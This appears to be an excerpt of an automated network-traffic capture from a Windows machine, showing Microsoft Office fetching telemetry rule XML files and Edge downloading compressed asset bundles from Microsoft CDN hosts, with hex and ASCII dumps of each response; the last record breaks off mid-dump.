2024-11-23 04:02:46 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 04:02:47 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:47 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 04c68412-701e-000d-5268-3b6de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T040247Z-178bfbc474bnwsh4hC1NYC2ubs00000004400000000001n4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 04:02:47 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.6	49844	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:46 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 04:02:47 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:47 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: c9d02f83-e01e-0033-4d75-3b4695000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T040247Z-174c587ffdfn4nhwhC1TEB2nbc00000002f000000000c2k6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 04:02:47 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.6	49846	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:46 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 04:02:47 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:47 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 606a4207-501e-005b-157e-3bd7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T040247Z-174c587ffdf8fcgwhC1TEBnn7000000002eg00000000rnke x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 04:02:47 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.6	49847	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:46 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 04:02:47 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:47 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 6fd3b960-801e-00ac-6c64-3bfd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T040247Z-178bfbc474bbbqrhhC1NYCvw740000000430000000009fvn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 04:02:47 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.6	49845	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:47 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 04:02:47 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:47 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 9cc78053-901e-008f-7b8c-3a67a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T040247Z-174c587ffdfmlsmvhC1TEBvyks00000002m000000000734m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 04:02:47 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.6	49851	13.107.246.63	443	7188	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:47 UTC	711	OUT	GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: EntityExtractionDomainsConfig Sec-Mesh-Client-Edge-Version: 117.0.2045.55 Sec-Mesh-Client-Edge-Channel: stable Sec-Mesh-Client-OS: Windows Sec-Mesh-Client-OS-Version: 10.0.19045 Sec-Mesh-Client-Arch: x86_64 Sec-Mesh-Client-WebView: 0 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 04:02:48 UTC	583	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:48 GMT Content-Type: application/octet-stream Content-Length: 70207 Connection: close Content-Encoding: gzip Last-Modified: Fri, 22 Nov 2024 21:01:12 GMT ETag: 0x8DD0B38CBCCFA90 x-ms-request-id: a26d36d7-101e-003c-443c-3ddcdc000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241123T040248Z-178bfbc474bmqmgjhC1NYCy16c000000040g00000000a1yf Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 04:02:48 UTC	15801	IN	Data Raw: 1f 8b 08 08 18 f1 40 67 02 ff 61 73 73 65 74 00 ec bd 0b 97 db 36 b2 30 f8 57 b2 b9 33 b3 dd 89 d5 d6 5b dd d9 cd fa f4 d3 f1 f8 39 6d 3b 19 db f1 d5 01 49 48 a2 45 91 0c 1f 6a ab c3 be bf 7d 0b 05 80 00 08 50 52 db ce 77 ef b7 67 67 9c 16 09 14 0a 40 a1 50 a8 2a 14 c0 3f bf f7 93 78 16 ce bf ff e9 bb 3f bf 2f 92 25 8d a7 51 b8 0a 0b 78 ef 8d bb dd 07 df 7d 9f 92 39 9d fa 65 91 cc 66 90 38 1c f4 59 62 40 67 a4 8c 8a 69 94 f8 24 a2 d3 15 49 11 81 c7 f0 c0 df 0e 3c 00 94 97 e3 6b de f1 08 7b a5 11 7b a5 51 67 9e e1 6b 8c af 71 a7 cc f1 15 81 69 de 59 7d c6 d7 02 5f 8b 0e a5 ec d5 c7 5c 3f ef f8 b7 ec 35 20 ec 35 20 9d 60 89 af 14 5f 69 27 40 e0 19 e6 ce 48 27 c4 8a 66 21 be 86 1d 78 60 af 19 be 66 9d 19 e6 2e b0 ec 82 76 c2 08 5f 31 77 91 75 16 3c b7 c4 d7 Data Ascii: @gasset60W3[9m;IHEj}PRwgg@P*?x?/%Qx}9ef8Yb@gi$I<k{{QgkqiY}_\?5 5 `_i'@H'f!x`f.v_1wu<
2024-11-23 04:02:48 UTC	16384	IN	Data Raw: 4a b0 09 cb 82 45 ac c5 f3 e8 07 bb 82 71 ba da 2a 0b c7 62 2c 30 96 c2 52 09 74 65 c0 2a 8a c3 88 95 9c 7c 3e a9 79 09 d4 fa 9a 9f 30 4a 49 28 2b d7 97 ff 7a 7b f9 fa cd f4 c9 05 68 2b 37 9c c1 08 01 cb 2f 28 f3 02 34 de 08 0c a6 34 da 38 c6 ec 48 27 33 28 96 9f 45 d9 4f 9f 12 f7 54 d2 47 a6 39 87 08 81 e9 6d 4f c1 43 97 10 bf ad 59 55 67 39 13 fe 1e 05 67 65 16 87 6c 9b f5 cb 90 60 eb 3d ea 25 09 33 8b f9 4a fb 10 ef 11 3b 7c e8 61 60 14 a0 60 b9 7c 16 e7 69 54 b1 c3 22 c0 e0 29 df c2 05 4c 8f bc f0 67 5e 04 75 33 51 9a b7 e1 61 1a 61 48 f5 c3 30 f7 62 91 d5 a8 34 39 2a 97 ff 2d f5 aa c1 c2 6c 78 e0 35 33 d1 42 b3 75 c4 be 3b f4 d0 68 83 51 a7 81 2d a0 ff 0d 5d 10 62 ed 7f 55 a5 99 9f 25 2b 2f a4 4d 09 21 65 43 c7 04 cf 93 19 f3 c1 d0 b6 e9 14 38 59 31 Data Ascii: JEqb,0Rte\|>y0JI(+z{h+7/(448H'3(EOTG9mOCYUg9gel`=%3J;\|a``\|iT")Lg^u3QaaH0b49*-lx53Bu;hQ-]bU%+/M!eC8Y1
2024-11-23 04:02:48 UTC	16384	IN	Data Raw: 2f 4d 35 19 b9 3f d5 c1 f4 52 a7 67 b3 99 ff bc b7 c2 8e 7c d3 4d 9a a5 bf dc f0 20 15 b1 bc 1f 82 9a 8d 98 a7 af db 80 6b 74 e7 ab 7c e6 18 7d 9a 2b 3e 34 2d 1a e7 c0 d5 e8 b4 a0 0e d4 7d 19 bb 69 52 58 a2 33 32 78 db 4b 2d cd 54 dd d2 2b 9c a0 29 69 1a ba 4a ee 0a 4d 33 5a 7b a7 1a 83 5f f3 f7 fe 2c 2f 84 3b 39 d0 56 82 ef 75 a4 f3 69 57 af 58 09 8c 2a 1d 24 b9 4e 6b cf 63 d0 74 99 e3 02 0f 26 7f 1a 86 a9 a8 69 fa 5a d8 25 83 c1 ea f8 fd 12 62 16 86 38 17 5a 19 6f 13 03 00 e6 6a 07 a4 40 be bb 20 de a6 de bf d1 06 75 32 1f c3 4f 67 41 ad 31 bd b0 9c ee 44 47 33 2a 92 9c d3 f6 35 64 a9 b1 d3 f6 b1 c7 a7 b4 80 af ea c1 2a 6c dd 81 a0 0b 67 ca d2 b2 11 7c 8d dc 39 47 56 d1 bd 08 e8 ec 3e 4f c9 56 d6 7a d3 9a 56 4d 17 50 41 9b 17 9b 37 36 da 2e 7c a4 ba 63 Data Ascii: /M5?Rg\|M kt\|}+>4-}iRX32xK-T+)iJM3Z{_,/;9VuiWX$Nkct&iZ%b8Zoj@ u2OgA1DG35d*lg\|9GV>OVzVMPA76.\|c
2024-11-23 04:02:48 UTC	16384	IN	Data Raw: 99 dc 5a 2e 69 cf 52 41 9e 48 c8 71 d7 39 94 dd f7 b6 3f 2a 48 d1 b5 2e 37 a4 97 5f 43 54 c9 8d d7 76 7a 14 e4 6f 3b 80 f7 6a 61 e8 6f 47 e9 2d cb 60 84 66 2b c0 b9 77 09 1b c0 32 5c aa 6c 0e 25 81 ed a0 5e 61 25 37 6f 3c a5 bc 1f 04 1a dd b1 04 1d c9 73 16 3a 58 a8 69 4d 12 c1 5e e9 66 5f 14 6c e4 9e d4 61 25 e1 2f c3 fc b8 ed df 80 5d 2b 3a 5b 4c 56 c9 72 1f 59 1d 6a 72 0b d2 b0 4c 8e d5 67 db 16 79 41 90 65 4f 4b 68 63 f6 d1 e5 db b6 6a 18 e6 ca 5f 04 79 2e 71 69 5d 0e 19 cc d9 f6 58 27 58 af 1c 18 04 f1 98 d2 bf 15 1e 37 ce e0 1e 88 54 83 3c 82 f8 a8 05 5f b0 1b 3f 2f 02 8f 31 a4 e9 1d ed 45 e6 e4 85 e6 b9 66 4c fd cd 8d e4 58 f7 79 73 8b 47 40 25 b6 0d 7f 78 ff a8 fe e7 7d 69 4a fc 00 c7 b0 37 a9 44 f0 40 1e e8 bd 41 8a b4 0a 5d 5a 2c 0e 60 f7 fb 81 Data Ascii: Z.iRAHq9?*H.7_CTvzo;jaoG-`f+w2\l%^a%7o<s:XiM^f_la%/]+:[LVrYjrLgyAeOKhcj_y.qi]X'X7T<_?/1EfLXysG@%x}iJ7D@A]Z,`
2024-11-23 04:02:48 UTC	5254	IN	Data Raw: 29 50 5f 50 34 9a d3 9a 2a 83 ab 27 93 58 c5 2b d2 9c af 2b 4e 0f 79 ac a9 56 57 20 b1 61 ca d2 f5 ed 38 df 10 b9 60 88 4c 48 ac b1 cd 10 b5 8f 76 49 19 f2 b6 d5 54 1d d1 9c b1 20 7a d3 64 f7 91 a2 0c 4d 73 6d e0 da be ee e6 87 03 9f 5e f7 4f 98 9c 12 cd 88 68 4c 2e b1 48 00 60 c3 31 74 31 8d 87 b4 32 56 02 4f bf e1 a9 3b c0 40 d6 24 8e 10 55 c7 c3 e7 8c f3 78 28 78 d3 94 de b0 5a 4d 22 eb 28 5c 22 00 98 8e 15 1a f8 ab ac 54 f4 5d 80 d0 a5 aa 6e 87 83 fd d6 f1 b0 c0 82 f7 f4 5e ef 2f 2b b8 62 a2 13 a1 4d ae 60 cf 59 3c b1 b1 f4 40 4d 41 74 7c ac 2c 5a 9e ef f4 d2 81 6d 69 e1 d3 8b 73 2c 84 2c 06 37 fd 72 38 10 a5 b2 13 51 f1 a0 a2 06 7d 3f 89 8f 72 35 a0 58 a0 46 79 2f b7 1f cc 57 92 ec c8 b4 b5 f2 5c 65 e7 30 5a 93 e3 b1 8e 5f f5 91 44 87 44 19 1d 59 83 Data Ascii: )P_P4*'X++NyVW a8`LHvIT zdMsm^OhL.H`1t12VO;@$Ux(xZM"(\"T]n^/+bM`Y<@MAt\|,Zmis,,7r8Q}?r5XFy/W\e0Z_DDY

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.6	49859	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:49 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 04:02:49 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:49 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 00606c4f-d01e-0014-08c3-3bed58000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T040249Z-15b8b599d8885prmhC1TEBsnkw00000002mg000000002z2a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 04:02:49 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.6	49858	13.107.246.63	443	7188	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:49 UTC	470	OUT	GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: Shoreline Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 04:02:49 UTC	584	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:49 GMT Content-Type: application/octet-stream Content-Length: 306698 Connection: close Content-Encoding: gzip Last-Modified: Tue, 10 Oct 2023 17:24:31 GMT ETag: 0x8DBC9B5C40EBFF4 x-ms-request-id: 28b24790-f01e-0050-734a-3d770f000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241123T040249Z-15b8b599d88vp97chC1TEB5pzw00000002e0000000005d7r Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-11-23 04:02:49 UTC	15800	IN	Data Raw: 1f 8b 08 08 cf 88 25 65 02 ff 61 73 73 65 74 00 ec 7d 69 93 db 46 92 e8 5f a9 f0 97 fd e0 96 05 10 00 09 4c c4 8b 17 2d f9 92 6d f9 92 6d 8d fd 66 43 51 00 0a 24 9a 20 40 e1 60 ab 7b 76 fe fb ab cc 2c 10 09 82 07 c8 a6 bc 9e 8d 0d 5b 68 b0 8e bc eb 44 55 e6 3f 3f 59 c9 3c 4d 54 55 bf db a8 b2 4a 8b fc 93 bf 89 4f dc cf ac cf ac 4f 6e c4 27 8b 26 7c 27 d7 eb 4a 27 fe bf 7f 7e 92 c6 90 19 c5 ee d4 f7 65 f0 4c f9 be ff cc f5 95 7c 26 63 df 7e 36 9b da 81 13 7b d3 d0 0e 15 d4 cd e5 4a 41 f9 77 ef 5e bf f9 ea 1d fc 7a f7 0e d2 19 1e fb 33 fd df 0c 12 63 55 45 65 ba ae 4d 06 d5 61 89 54 75 a9 1e 20 f7 f5 ab 57 2f 5e dd dd 7e ff 62 be 7c bf 58 a6 5f 05 f7 d6 8b db 9f be f8 f2 f6 f6 87 97 b7 3f f9 b7 90 ff 72 fe ad 7e ff e2 76 9d 58 77 ee 57 8b 1f de ff 14 f9 fe Data Ascii: %easset}iF_L-mmfCQ$ @`{v,[hDU??Y<MTUJOOn'&\|'J'~eL\|&c~6{JAw^z3cUEeMaTu W/^~b\|X_?r~vXwW
2024-11-23 04:02:49 UTC	16384	IN	Data Raw: a5 38 7d a8 02 c7 0a 04 ba b8 75 26 ce 55 c2 08 bf 5c 90 e7 68 0d 8c 7c 07 bb 14 ee 07 cf ac 5b ca 81 54 5b 25 f6 36 51 93 15 e8 c2 2b 22 50 fc 52 36 6d 55 35 59 19 67 e4 56 be d8 2d df fd 8c 1c b1 48 e9 85 d8 d5 6f a1 88 16 05 b8 ea d5 42 20 2f c6 fa c5 ab 21 ae b4 7e 71 4c 7c 69 3b da be 2c c4 3c 45 31 58 f6 5a d0 75 29 2d 10 91 2f b6 81 a8 f1 77 27 4d cb 46 c3 d1 f2 cb e7 17 7d 3c d0 6a 30 b1 ed 19 11 24 85 30 ed b3 77 98 0a a3 d3 4d 8a a4 58 a6 1a 92 6f 39 a0 66 5b a9 58 c4 f8 d7 db 13 a4 38 9f 53 18 72 e3 d6 58 c9 9c 2a 85 f1 21 3d 9d 12 35 51 d6 f4 74 9e 6e f9 3a 6f 4c fc e5 2c 53 f9 7a 94 a9 7c 50 ab 8e d8 56 01 86 95 11 92 ce 4d 82 a9 12 26 c6 7f 9c 55 b4 0d eb a8 c4 4f 75 f1 df 12 7e 7b 85 2d 18 bd 99 6f 4d 95 18 8d 35 7f b9 51 da bc b3 17 f2 61 Data Ascii: 8}u&U\h\|[T[%6Q+"PR6mU5YgV-HoB /!~qL\|i;,<E1XZu)-/w'MF}<j0$0wMXo9f[X8SrX*!=5Qtn:oL,Sz\|PVM&UOu~{-oM5Qa
2024-11-23 04:02:49 UTC	16384	IN	Data Raw: 56 c6 75 11 82 12 e0 b7 2c 9c d4 28 cd 82 09 ad 54 24 d2 ae 26 b9 4f 37 c4 67 1e 9d 6b d1 e4 03 44 91 0f c7 24 3e 9c a5 f8 80 ce e1 c3 bd 55 1f 7c 0d 7d f0 d6 f4 e1 f6 6d f9 6c 42 78 a7 7a 8f cf 80 2a 42 b1 ca af 46 95 01 06 85 53 be 7a 50 c8 12 ce 7e 7c 44 29 29 63 83 14 66 50 e5 69 9e ba 94 a2 14 a9 44 53 56 22 78 06 d0 d3 7d 25 3d 51 7e fc 63 e8 77 69 11 9c 24 cb 92 42 e9 e0 d4 ac cc c6 c2 0a 92 55 72 f4 61 88 91 31 1f 4c 69 b4 9b 0f a5 64 32 91 6a 99 5a 87 05 9b b8 18 4d b6 69 0c 05 60 46 80 c2 34 75 85 d5 88 cf a4 31 10 78 28 99 44 01 7e 6d 51 37 26 3d f1 aa c8 64 77 98 90 c3 4a 88 b9 d5 8c 73 bc 9b 5c 69 65 23 a6 fb 16 9b 26 25 05 ac fc cc 